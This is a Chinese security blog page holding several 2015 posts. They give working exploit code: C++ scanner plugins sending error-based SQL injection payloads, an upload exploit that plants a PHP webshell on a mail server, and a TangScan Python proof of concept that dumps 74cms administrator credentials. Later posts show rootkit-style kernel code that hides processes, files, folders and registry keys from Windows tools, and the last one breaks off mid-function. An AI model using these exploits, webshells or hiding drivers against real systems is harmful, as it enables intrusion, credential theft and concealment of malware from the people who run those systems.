关于VC编写插件的写法

发布时间:April 26, 2015 // 分类:VC/C/C++,代码学习,windows // No Comments

vc每次更新都需要重新 编译一次。好麻烦的说

首先构建一个get请求和post请求的类

void GetRequest(char *url,BOOL bRecv,BOOL bSmall)
{
    //构造get请求包  
 
    CString enUrl=url;
    enUrl.Replace(" ","%20");;
     
    CString GetPackage="";
    CString cookieValue="";
    cookie!="" ? cookieValue ="Cookie: "+cookie+"\r\n" : cookieValue="";
    GetPackage.Format("GET %s%s HTTP/1.1\r\n"
                    "Accept: */*\r\n"
                    "Accept-Language: zh-cn\r\n"
                    //"Accept-Encoding: gzip, deflate\r\n"
                    "User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)\r\n"
                    "%s"
                    "Host: %s\r\n\r\n",
                    m_strWebRoot,enUrl,cookieValue,m_strHost.GetBuffer(0)                                       
    );
    //AfxMessageBox(GetPackage);
    //目录名 和  链接都有可能,所以对整个包进行编码
    CString encodedPack="";
    if (defaultCharset=="utf")
    {
        encodedPack=EncodeHanzi(GetPackage,CP_ACP,CP_UTF8);
    }else{
         
        encodedPack=EncodeHanzi(GetPackage,CP_ACP,CP_ACP);
    }
    //AfxMessageBox("send to target");
    sendToTarget(encodedPack.GetBuffer(0),bRecv,bSmall);
}
 
void PostRequest(char *url, char *data,BOOL bRecv)
{
    //构造Post请求包
 
    CString enUrl=url;
    enUrl.Replace(" ","%20");
//     enUrl.Replace("&","$_and_$");
//     enUrl=CParser::UrlEncode(enUrl);
//     enUrl.Replace("$_and_$","&");
 
 
    CString PostPackage="";
    CString cookieValue="";
    cookie!="" ? cookieValue ="Cookie: "+cookie+"\r\n" : cookieValue="";   
 
    //对可能有的中文进行编码
    CString encodedUrl="",encodedData="";
    if (defaultCharset=="utf8")
    {
        encodedUrl=EncodeHanzi(enUrl,CP_ACP,CP_UTF8);
        encodedData=EncodeHanzi(data,CP_ACP,CP_UTF8);
    }else{
        encodedUrl=EncodeHanzi(enUrl,CP_ACP,CP_ACP);
        encodedData=EncodeHanzi(data,CP_ACP,CP_ACP);
    }
 
    PostPackage.Format("POST %s%s HTTP/1.1\r\n"
                         "Accept: */*\r\n"
                         "Content-Type: application/x-www-form-urlencoded\r\n"
                         "Host: %s\r\n%s"
                         //"Accept-Encoding: gzip, deflate\r\n"
                         "Content-Length: %d\r\n"
                         "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36\r\n\r\n%s",
                         m_strWebRoot,encodedUrl,m_strHost.GetBuffer(0),cookieValue.GetBuffer(0),encodedData.GetLength(),encodedData);
   
    sendToTarget(PostPackage.GetBuffer(0),bRecv);

}

然后对其进行定义参数

void makePostRequest(char *url, char *data,BOOL bRecv=FALSE);  //url 数据 是否接收服务器返回数据
    void makeGetRequest(char *url,BOOL bRecv=FALSE,BOOL bSmall=FALSE); //url 数据 是否接收服务器返回数据

然后我们再单独调用分别对GET以及Post的请求

首先是GET请求的:漏洞来源http://0day5.com/archives/3021

GetRequest("/wap/?action=show&mod=admin%20where%20userid=1%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version(),floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23",TRUE);  //发送请求以及确定要接收服务器返回的参数
    //GET请求
    CString strRet=getInfo("Duplicate entry '(.*?)'");
    //使用正则进行匹配
    if (strRet!="")  //如果strRet不为空表示存在注入
    {
        return "/wap/?action=show&mod=admin where userid存在显错式注入! 版本"+strRet;
    }

再来看一个POST请求的,漏洞详情,请关注:http://0day5.com/archives/3028

PostRequest("/delete_cart_goods.php","id=1%20and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)",TRUE);
//PostRequest(url,data,ture/false)
    strRet=getInfo("Duplicate entry '(.*?)'");
    if (strRet!="")
    {
        return "/delete_cart_goods.php id存在post显错式注入! 版本"+strRet;
    }

还有一个上传的方式。漏洞详情,请关注:http://0day5.com/archives/3039

它的数据包是这个样子的

POST http://mail.domain.com:889/src/big_att_upload.php HTTP/1.1
Host: mail.domain.com:889
Connection: keep-alive
Content-Length: 658
Origin: http://mail.domain.com:889
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Content-Type: multipart/form-data; boundary=----------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Accept: */*
Referer: http://mail.domain.com:889/src/write_mail.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Cookie: PHPSESSID=outb98m2mckt5a03pejd1aqra0; _HICOM[LANGUAGE]=zh-cn
 
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="Filename"
 
vultest.php
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="PHPSESSID"
 
outb98m2mckt5a03pejd1aqra0
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="dir"
 
/var/www/newmail/
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="Filedata"; filename="vultest.php"
Content-Type: application/octet-stream
 
12345
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="Upload"
 
Submit Query
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5--

我们把它分成头部还有内容两个部分

头部是这样子的

POST http://mail.domain.com:889/src/big_att_upload.php HTTP/1.1
Host: mail.domain.com:889
Connection: keep-alive
Content-Length: 658
Origin: http://mail.domain.com:889
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Content-Type: multipart/form-data; boundary=----------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Accept: */*
Referer: http://mail.domain.com:889/src/write_mail.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Cookie: PHPSESSID=outb98m2mckt5a03pejd1aqra0; _HICOM[LANGUAGE]=zh-cn

内容部分是这个样子的

------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="Filename"
 
vultest.php
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="PHPSESSID"
 
outb98m2mckt5a03pejd1aqra0
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="dir"
 
/var/www/newmail/
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="Filedata"; filename="vultest.php"
Content-Type: application/octet-stream
 
12345
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="Upload"
 
Submit Query
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5--

然后就好办了,对其进行转码~\r\n转换为\\r\\n  ""记得转为\"

CString uploadPack="",uploadHead="",uploadBody="";//首先我们定义个数据包,数据的头部和数据的内容
uploadBody="------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\nguige.php\r\n------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5\r\nContent-Disposition: form-data; name=\"PHPSESSID\"\r\n\r\noutb98m2mckt5a03pejd1aqra0\r\n------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5\r\nContent-Disposition: form-data; name=\"dir\"\r\n\r\n/var/www/newmail/\r\n------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"shell.php\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php @$_GET[0](@$_REQUEST[1]);?>\r\n------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5\r\nContent-Disposition: form-data; name=\"Upload\"\r\n\r\nSubmit Query\r\n------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5--";
//这里是数据的内容
uploadHead.Format("POST /src/big_att_upload.php HTTP/1.1\r\nHost: %s\r\nConnection: keep-alive\r\nContent-Length: %d\r\nOrigin: http://%s\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36\r\nContent-Type: multipart/form-data; boundary=----------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5\r\nAccept: */*\r\nReferer: http://%s/src/write_mail.php\r\nCookie: PHPSESSID=outb98m2mckt5a03pejd1aqra0; _HICOM[LANGUAGE]=zh-cn\r\n\r\n",
//数据的头部
m_strHost,uploadBody.GetLength(),m_strHost,m_strHost);
//得出数据的地址,内容,以及长度
uploadPack=uploadHead+uploadBody;
//对数据进行拼接组合起来
sendToTarget(uploadPack.GetBuffer(0),TRUE);
//发送数据
//判断一句话是否存在
makePostRequest("/shell.php?0=assert","1=echo 1;",TRUE);
if(GetResponseContent().Find("1",0)!=-1){
return "http://"+m_strHost+m_strWebRoot+"/guige.php?0=assert 密码1";
}

 

关于Tangscan的插件编写

发布时间:April 26, 2015 // 分类:代码学习,linux,python,windows // No Comments

看了Tangscan插件编写后,自己按照那个过程写一个poc的时候的一些笔记以及注释

#! /usr/bin/env python
# -*- coding: utf-8 -*-
 
"""
Copyright (c) 2013-2014 TangScan developers (http://www.wooyun.org/)
See the file 'docs/COPYING' for copying permission
author: fate0 <fate0@wooyun.org>
"""
 
import re   #为了能够匹配网页内容, 我们需要import re
 
from thirdparty import requests
    #TangScan 还自带了一些比较好用的第三方库, 在这里我们import requests来处理http请求
from modules.exploit import TSExploit
    #编写TangScan POC不可缺少的一个类 TSExploit
 
 
__all__ = ['TangScan']
 
 
class TangScan(TSExploit):  #定义TangScan类, 并且继承于TSExploit
    def __init__(self):
        super(self.__class__, self).__init__()
        self.info = {
            "name": "74cms plus/ajax_common.php sql 注入漏洞", # POC 的名称
            "product": "74cms", # POC 所针对的应用, 在 tangscan 主页上展示出所有的应用
                # 名称必须和 tangscan 主页上的一致(大小写敏感)
            "product_version": "", # 应用版本号
            "desc": """
                74cms plus/ajax_common.php 对编码的处理不恰当,在处理UTF8转成GBK后还对其进行了addslashes处理。转码后直接带入查询 而且直接输出
            """,  # 漏洞描述
            "license": self.license.TS, # POC 的版权信息
            "author": ["saline"], # POC 编写者
            "ref": [
                {self.ref.wooyun: "http://www.wooyun.org/bugs/wooyun-2014-063225"},# 乌云案例链接
            ],
            "type": self.type.injection, # 漏洞类型, 在详细介绍中列举了所有 POC 的类型
            "severity": self.severity.high, # 漏洞的危害等级, 在详细介绍中列举了所有 POC 的危害等级
            "privileged": False, # 是否需要登录
            "disclosure_date": "2014-09-03",# 漏洞的公布时间
            "create_date": "2015-03-30",# POC创建时间
        }
 
        self.register_option({  #调用 regsiter_option 方法注册所需参数
            "url": {            #我们所需的参数是 url
                "default": "",  #设置参数 url 的默认值为 ""
                "required": True, #设置参数 url 是否是必要参数
                "choices": [],  #设置参数 url 的可选值, []为无可选值
                "convert": self.convert.url_field, #设置参数 url 的类型, TangScan会判断以及自动将参数url转成POC中的url类型
                                                   #例如: www.example.com 转换成 http://www.example.com
                "desc": "目标 url" #设置参数 url 的描述, 这会在帮助中显示
            }
        })
 
        self.register_result({  #调用 register_result 方法注册POC返回结果
            "status": False,    #POC 的成功失败状态, 必须
            "data": {           #POC 返回数据的存放处,必须名为 data, 而且data中的键都在 数据返回表 中已定义
                "user_info": {  #POC 的exploit模式将返回管理员用户名密码, 所以data下填写user_info
                    "username": "",  #POC 将返回 user_info 的 username
                    "password": "",  #POC 将返回 user_info 的 password
                    "pwd_hash": ""   #POC 将返回 user_info 的 pwd_hash
                },
                "db_info": {
                    "version": "",   #POC 将返回 db_info 的 version的版本信息
                }
            },
            "description": "",       #POC 返回对人类可读性良好的信息, 最终会直接显示在漏洞报表中
            "error": ""              #POC 执行失败或者异常的原因
        })
 
    def verify(self): #定义 verify 方法
        self.print_debug("verify start") #调用 print_debug 方法输出调试信息, 在选择调试模式下, 会将此消息输出
 
        re_version_pattern = re.compile(r'~~~(.+?)~~~', re.IGNORECASE | re.DOTALL | re.MULTILINE)
        #cookies = {'cookie': 'admin'}
        exp_url = ("{domain}/plus/ajax_officebuilding.php?act=key&key=%E9%8C%A6%27%20a%3C%3End%201=2%20un%3C%3Eion%20sel%3C%3Eect%201,2,3,concat(0x7e7e7e,@@version,0x7e7e7e),5,6,7,8,9%23".format(domain=self.option.url))
                    #self.option.url 就是我们所定义输入的 url , 在这里可以获取用户在命令行输入的 url
                    #例如: 使用 self.option.xxx 就可以获取在命令行输入的 xxx 的值
 
        try:
            #response = requests.get(exp_url, cookies=cookies, timeout=15, verify=False)
            response = requests.get(exp_url, timeout=15, verify=False)
        except Exception, e:
            self.result.error = str(e)
            return
 
        re_result = re_version_pattern.findall(response.content)
        if len(re_result) == 0:
            self.result.status = False
            return
 
        self.result.status = True
            #self.result.status 就是我们所定义输出的 status, 检测目标url存在漏洞, 设置 self.result.status = True
            #例如: 使用 self.result.xxx 就可以获取或设置result 的结果
        self.result.data.db_info.version = re_result[0]
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
        #设置 result.description, 最终会在报表中直接显示
            url=self.option.url,
            db_version=re_result[0]
        )
 
    def exploit(self):                   #定义 exploit 方法
        self.print_debug("exploit start")
            #调用 print_debug 方法输出调试信息, 在选择调试模式下, 会将此消息输出
 
        re_userinfo_pattern = re.compile(r'~~~(\w+?)\|\|\|(\w+?)\|\|\|(.+?)~~~', re.IGNORECASE | re.DOTALL | re.MULTILINE)
            # 建立获取user_info的正则表达式, 建议在敏感信息周边加上特殊符号以便于正则获取, 也可以大程度减少误报
            #cookies = {'cookie': 'admin'}
        exp_url = ("{domain}/plus/ajax_common.php?act=hotword&query=%E9%8C%A6%27%20a%3C%3End%201=2%20un%3C%3Eion%20sel%3C%3Eect%201,concat(0x7e7e7e,admin_name,0x7c7c7c,pwd,0x7c7c7c,pwd_hash,0x7e7e7e),3%20fr%3C%3Eom%20lhrc_admin%23".format(domain=self.option.url))
 
        try:
            #response = requests.get(exp_url, cookies=cookies, timeout=15, verify=False)
            response = requests.get(exp_url, timeout=15, verify=False)
        except Exception, e:
            self.result.error = str(e)
            return
 
        re_result = re_userinfo_pattern.findall(response.content)
            #使用正则获取html页面中的信息
        if len(re_result) == 0:
            self.result.status = False
            return
 
        self.result.status = True
            #获取到敏感信息之后, 将status设置为 True
        self.result.data.user_info.username = re_result[0][0] 
            #通过self.result.data.user_info.username = re_result[0][0] 可以很简单的设置结果中的username
        self.result.data.user_info.password = re_result[0][1]
        #通过self.resutl.data.user_info.password = re_result[0][1] 可以很简单的设置结果中的password
    self.result.data.user_info.pwd_hash = re_result[0][2]
        self.result.description = "目标 {url} 存在sql注入, 目标管理员用户: {username}, 密码: {password},HASH: {pwd_hash}".format(
            url=self.option.url,
            username=self.result.data.user_info.username,
            password=self.result.data.user_info.password,
            pwd_hash=self.result.data.user_info.pwd_hash
        )
 
 
if __name__ == '__main__':
    from modules.main import main #导入 main 函数
    main(TangScan())              #执行 main 函数, 以TangScan的一个实例为参数

我去,出现乱码了~但是不影响

找个站来测试下我们的exp

继续--mode exploit测试下

关于驱动隐藏进程以及文件夹

发布时间:April 26, 2015 // 分类:VC/C/C++,代码学习,windows // No Comments

进程隐藏:让任务管理器找不到指定进程
原理:任务管理器通过ZwQuerySystemInformation函数来获取当前进程列表,而 ZwQuerySystemInformation函数内部是通过查找双向链表来操作的,所以如果把想隐藏的进程从这个链表中脱离出来,任务管理器就列不出这个进程了。
具体方法:1、首先得到要隐藏的进程的PID
      2、通过PID得到进程的EPROCESS
      3、由EPROCESS定位到双向链表
      4、修改链表,使指定进程脱离
实现:
1、在驱动中获取指定进程PID网上有很多方法,贴一个我也忘了在哪里找的方法吧:

代码:

ULONG GetPid()
{
  NTSTATUS ntStatus;
  char ProcessName[256];
  ULONG cbBuffer; 
  PSYSTEM_PROCESS_INFORMATION pInfo;
  PSYSTEM_THREAD_INFORMATION pThread;
  VOID* pBuffer = NULL;
  ULONG i;
  ULONG ThreadCount;
  char MyProtectName[]="calc.exe";
  ULONG MyProcessId;


  ZwQuerySystemInformation(5, &cbBuffer, 0, &cbBuffer);
  pBuffer = ExAllocatePool (NonPagedPool, cbBuffer); 
  if (pBuffer == NULL) 
  {
    return 1;
  }
  ntStatus = ZwQuerySystemInformation(5, pBuffer, cbBuffer, NULL);

  if (!NT_SUCCESS(ntStatus))
  {
    ExFreePool(pBuffer); 
    return 1; 
  }

  pInfo = (PSYSTEM_PROCESS_INFORMATION)pBuffer;

  while(1){
    LPWSTR pszProcessName = pInfo->ProcessName.Buffer;
    if (pszProcessName == NULL) 
      pszProcessName = L"NULL"; 
    wcstombs(ProcessName,pszProcessName,256); 
    if(_stricmp(MyProtectName,ProcessName)==0)
    {
      DbgPrint("calc.exe Pid is %d\n",pInfo->ProcessId);
      MyProcessId=pInfo->ProcessId;
      return MyProcessId;
    } 
    if (pInfo->NextEntryDelta == 0) 
      break; 

    pInfo = (PSYSTEM_PROCESS_INFORMATION)(((PUCHAR)pInfo)+ pInfo->NextEntryDelta);
  }
  ExFreePool(pBuffer);
  return 0;
}

该方法的原理是:
通过ZwQuerySystemInformation函数得到进程信息_SYSTEM_PROCESS_INFORMATION,然后按进程名与要隐藏的进程名进行比较,得到进程的PID。
2、通过PID得到进程的EPROCESS就简单了,一个PsLookupProcessByProcessId全部搞定。
3、定位双向链表就更简单了,dt一下EPROCESS结构,找到ActiveProcessLinks成员的偏移,就是它了。
4、最后一步,修改链表。看网上的代码我一直没看明白,想到上学的时候写过双链表的程序,索性自己分析了一下:
作一个简单的示意图,方便理解吧:
 点击图片以查看大图

图片名称:   111.png
查看次数:   26
文件大小:   5.0 KB
文件 ID : 84521
现在假设想要隐藏的进程在双链表中对应B节点,橘黄色箭头表示前一个节点Blink,绿色箭头表示后一个节点Flink。
先看上面一条链表,现在要把B节点中的C,写到A节点中B的位置,而A节点正是B.Blink,所以就可以这样写一句代码:B->Blink->Flink = B->Flink,这样上一条链已经不关节点B的事了。
但是这样还脱不了身,还得把下面一条链断了。也就是要B.Blink赋值给C.Blink,既而得到了这样一句代码:B->Flink->Blink= B->Blink;
综上所述,任务管理器找不到指定进程了。
文件隐藏
原理:windows文件浏览器是使用ZwQueryDirectoryFile函数来读取文件列表的,只要hook这个函数,做一些过滤,就可以了。

if(NT_SUCCESS(status)&&FileInformationClass==FileBothDirectoryInformation)
  {
    PFILE_BOTH_DIR_INFORMATION pFileInfo;
    PFILE_BOTH_DIR_INFORMATION pLastFileInfo;
    BOOLEAN bLastOne;
    int iPos,iLeft;
    pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformation; 
    pLastFileInfo = NULL;
    do
    {
      bLastOne = !( pFileInfo->NextEntryOffset );
      RtlInitUnicodeString(&uniFileName,pFileInfo->FileName);
      RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
      RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
      if( RtlCompareMemory(ansiFileName.Buffer,HideDirFile.Buffer,HideDirFile.Length ) == HideDirFile.Length)
      {
        if(bLastOne) 
        {
          pLastFileInfo->NextEntryOffset = 0;
          break;
        } 
        else
        {
          
          iPos = ((ULONG)pFileInfo) - (ULONG)FileInformation;
          iLeft = (DWORD)Length - iPos - pFileInfo->NextEntryOffset;
          RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );
          continue;
        }
      }
      pLastFileInfo = pFileInfo;
      KdPrint(("%X",pFileInfo->NextEntryOffset));
      pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);
      
    }while(!bLastOne);
    RtlFreeAnsiString(&ansiDirName); 
    RtlFreeAnsiString(&ansiFileName);
  }

这段代码难于理解的地方,个人认为是这三句:
iPos = ((ULONG)pFileInfo) - (ULONG)FileInformation;
iLeft = (DWORD)Length - iPos - pFileInfo->NextEntryOffset;
RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );

还是画个图来说吧:
 点击图片以查看大图

图片名称:   222.png
查看次数:   10
文件大小:   13.4 KB
文件 ID : 84522
现在要保护的文件假设是FileC,那么当查询到这个文件的时候怎么办呢?就是把指针移动到后面一个去。但是这个结构比双链表要复杂得多,所以不能像上面进程隐藏那么改了,这段代码是把后面的指针内容直接复制覆盖 FileC的指针。
iPos:前面已经走过的路的长度。
pFileInfo->NextEntryOffset:要隐藏文件到下一个文件的相对距离
iLeft:除去要隐藏的文件之后要走的路的长度
注册表隐藏
原理:上面的链接中原理已经被大牛说得很清楚了,我只谈下我理解了很久的地方
具体方法:1、通过注册表句柄,得到对象体
     2、通过对象体,得到KeyControlBlock
     3、通过KCB,得到GetCellRoutine函数
     4、hook GetCellRoutine 函数
     5、判断节点是否为要隐藏节点,如果是则返回最后一个节点。
贴一段代码:
具体方法:1、ssdt hook ZwQueryDirectoryFile函数
     2、获取FILE_BOTH_DIR_INFORMATION结构,对比要隐藏的文件名
     3、修改指针,使其跳过隐藏文件
实现:
1、ssdt hook就不用说了,大家都会
2、调用原来的ZwQueryDirectoryFile,获取FILE_BOTH_DIR_INFORMATION结构。
3、贴一段代码吧:

PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
  // 调用原函数
  
  PVOID pRet = g_pGetCellRoutine(Hive, Cell);

  if (pRet)
  {
    // 返回的是需要隐藏的节点
    if (pRet == g_HideNode)
    {
      DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
      // 查询、保存并返回其父键的最后一个子键的节点
      pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
      DbgPrint("g_LastNode = %lx\n", g_LastNode);
      // 隐藏的正是最后一个节点,返回空值
      if (pRet == g_HideNode) pRet = NULL;
    }
    // 返回的是先前保存的最后一个节点
    else if (pRet == g_LastNode)
    {
      DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
      // 清空保存值,并返回空值
      //pRet = g_LastNode = NULL;
    }
  }
  return pRet;
}

问题:1、遇到要隐藏的节点,为什么要返回最后一个节点?
答:遇到要隐藏的节点,如果直接返回NULL,那么后面的节点就无法列出了。
   2、遇到最后一个节点,为什么要返回NULL。
答:前面遇到要隐藏的节点时返回了最后一个节点,如果再返回,会出现两个最后一个节点。如图:
名称:  333.png
查看次数: 1
文件大小:  3.5 KB
 这种效果不是你新建一个同名项就能达到的哦。 

参考文章:
http://bbs.pediy.com/showthread.php?t=64728    进程隐藏
http://bbs.pediy.com/showthread.php?t=63629    文件隐藏
http://bbs.pediy.com/showthread.php?t=63540    注册表隐藏

1.http://www.codeproject.com/Articles/32744/Driver-to-Hide-Processes-and-Files

2.http://www.codeproject.com/Articles/167583/Driver-to-Hide-Processes-and-Files-Second-Edition

3.http://www.codeproject.com/Articles/444995/Driver-to-hide-files-in-Linux-OS

4.http://www.codeproject.com/Articles/66305/Simple-SST-Unhooker

驱动隐藏文件夹的实现(支持Win7)

发布时间:April 26, 2015 // 分类:代码学习,VC/C/C++,windows // No Comments

刚完成一个利用驱动隐藏文件夹的程序,隐藏文件的类似,现在贴出来共享给大家。

代码相对比较简单,我是在别人代码的基础上改的。

因为现在在网上找到的代码都是不支持XP以上版本的,所以我在别人代码的基础上添加了XP以上版本的支持。

现在该代码同时支持XP以下及XP以上版本(本人仅测试XP和Win7)。

利用驱动实现文件的隐藏主要是在IRP_MJ_DIRECTORY_CONTROL的后操作回调函数中处理其输入参数FLT_CALLBACK_DATA结构中的缓冲区数据。

该缓冲地址的获取是重点,Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer(或MdlAddress)

网上现有代码不支持XP以上版本的原因是Vista或Win7返回的FileInformationClass结构不再是FileBothDirectoryInformation,而是FileIdBothDirectoryInformation

【注】虽然利用驱动隐藏文件无法利用“显示隐藏文件”查看,但文件实际仍存在,通过路径仍然可以访问。

实现代码如下:

//实现目录隐藏,支持XP及以上版本 JiaSong[2010-11-1] 
FLT_POSTOP_CALLBACK_STATUS
HideFilePostDirCtrl (
    __inout PFLT_CALLBACK_DATA Data,
    __in PCFLT_RELATED_OBJECTS FltObjects,
    __in_opt PVOID CompletionContext,
    __in FLT_POST_OPERATION_FLAGS Flags 
)
{
    ULONG nextOffset = 0;
    int modified = 0;
    int removedAllEntries = 1;    
 
    PFILE_BOTH_DIR_INFORMATION currentFileInfo = 0;     
     PFILE_BOTH_DIR_INFORMATION nextFileInfo = 0;    
     PFILE_BOTH_DIR_INFORMATION previousFileInfo = 0;    
      
     PFILE_ID_BOTH_DIR_INFORMATION currentFileIdInfo = 0;
    PFILE_ID_BOTH_DIR_INFORMATION nextFileIdInfo = 0;
    PFILE_ID_BOTH_DIR_INFORMATION previousFileIdInfo = 0;
     
    UNREFERENCED_PARAMETER( FltObjects );
    UNREFERENCED_PARAMETER( CompletionContext );    
 
    //不满足过滤条件的直接放过 
    if( FlagOn( Flags, FLTFL_POST_OPERATION_DRAINING ) || 
        Data->Iopb->MinorFunction != IRP_MN_QUERY_DIRECTORY ||
        Data->Iopb->Parameters.DirectoryControl.QueryDirectory.Length <= 0 ||
        !NT_SUCCESS(Data->IoStatus.Status))
    {
        return FLT_POSTOP_FINISHED_PROCESSING;
    }
    //XP及其以下版本,需要过滤 FileBothDirectoryInformation 类型的信息 
    if(Data->Iopb->Parameters.DirectoryControl.QueryDirectory.FileInformationClass == FileBothDirectoryInformation)
    {
        //我们可以得到一个缓存区,这个缓存里面就保留着文件夹中所有的文件信息。
        //根据这个缓存的结构遍历处理,过滤掉要隐藏的文件名就能达到隐藏的目的了 
        if (Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress != NULL)
        {//缓存地址
            currentFileInfo=(PFILE_BOTH_DIR_INFORMATION)MmGetSystemAddressForMdlSafe( 
                         Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress,
                         NormalPagePriority );            
        }
        else
         {//缓存地址
             currentFileInfo=(PFILE_BOTH_DIR_INFORMATION)Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer;             
         }     
         
        if(currentFileInfo==NULL)return FLT_POSTOP_FINISHED_PROCESSING;       
        previousFileInfo = currentFileInfo;
             
        do
        {
            //Byte offset of the next FILE_BOTH_DIR_INFORMATION entry
            nextOffset = currentFileInfo->NextEntryOffset;
            //后继结点指针 
            nextFileInfo = (PFILE_BOTH_DIR_INFORMATION)((PCHAR)(currentFileInfo) + nextOffset);            
 
            KdPrint(("1.FileName: %S, ShortName: %S\n",currentFileInfo->FileName,currentFileInfo->ShortName));
            if(_wcsnicmp(currentFileInfo->FileName,g_prefixName,wcslen(g_prefixName))==0)
            {
                KdPrint(("1.g_prefixName: %S, currentFileInfo->FileName: %S\n",g_prefixName,currentFileInfo->FileName));
                if( nextOffset == 0 )
                {
                    previousFileInfo->NextEntryOffset = 0;
                }
                else
                {//更改前驱结点中指向下一结点的偏移量,略过要隐藏的文件的文件结点,达到隐藏目的 
                    previousFileInfo->NextEntryOffset = (ULONG)((PCHAR)currentFileInfo - (PCHAR)previousFileInfo) + nextOffset;
                }
                modified = 1;
            }
            else
            {
                removedAllEntries = 0;
                //前驱结点指针后移 
                previousFileInfo = currentFileInfo;
            }
            //当前指针后移          
            currentFileInfo = nextFileInfo;
        } while( nextOffset != 0 );
    }
    //vista或win7返回的结构不再是FileBothDirectoryInformation.而是FileIdBothDirectoryInformation
    else if(Data->Iopb->Parameters.DirectoryControl.QueryDirectory.FileInformationClass ==FileIdBothDirectoryInformation)
    {
        if (Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress != NULL)
        {
            currentFileIdInfo=(PFILE_ID_BOTH_DIR_INFORMATION)MmGetSystemAddressForMdlSafe( 
                         Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress,
                         NormalPagePriority );            
        }
        else
         {
             currentFileIdInfo=(PFILE_ID_BOTH_DIR_INFORMATION)Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer;             
         }     
         
        if(currentFileIdInfo==NULL)return FLT_POSTOP_FINISHED_PROCESSING;
        previousFileIdInfo = currentFileIdInfo;
             
        do
        {
            //Byte offset of the next FILE_ID_BOTH_DIR_INFORMATION entry
            nextOffset = currentFileIdInfo->NextEntryOffset;            
               nextFileIdInfo = (PFILE_ID_BOTH_DIR_INFORMATION)((PCHAR)(currentFileIdInfo) + nextOffset);            
 
            KdPrint(("2.FileName: %S, ShortName: %S\n",currentFileIdInfo->FileName,currentFileIdInfo->ShortName));
            if(_wcsnicmp(currentFileIdInfo->FileName,g_prefixName,wcslen(g_prefixName))==0)
            {
                KdPrint(("2.g_prefixName: %S, currentFileInfo->FileName: %S\n",g_prefixName,currentFileIdInfo->FileName));
                if( nextOffset == 0 )
                {
                    previousFileIdInfo->NextEntryOffset = 0;
                }
                else
                {
                    previousFileIdInfo->NextEntryOffset = (ULONG)((PCHAR)currentFileIdInfo - (PCHAR)previousFileIdInfo) + nextOffset;
                }
                modified = 1;
            }
            else
            {
                removedAllEntries = 0;                
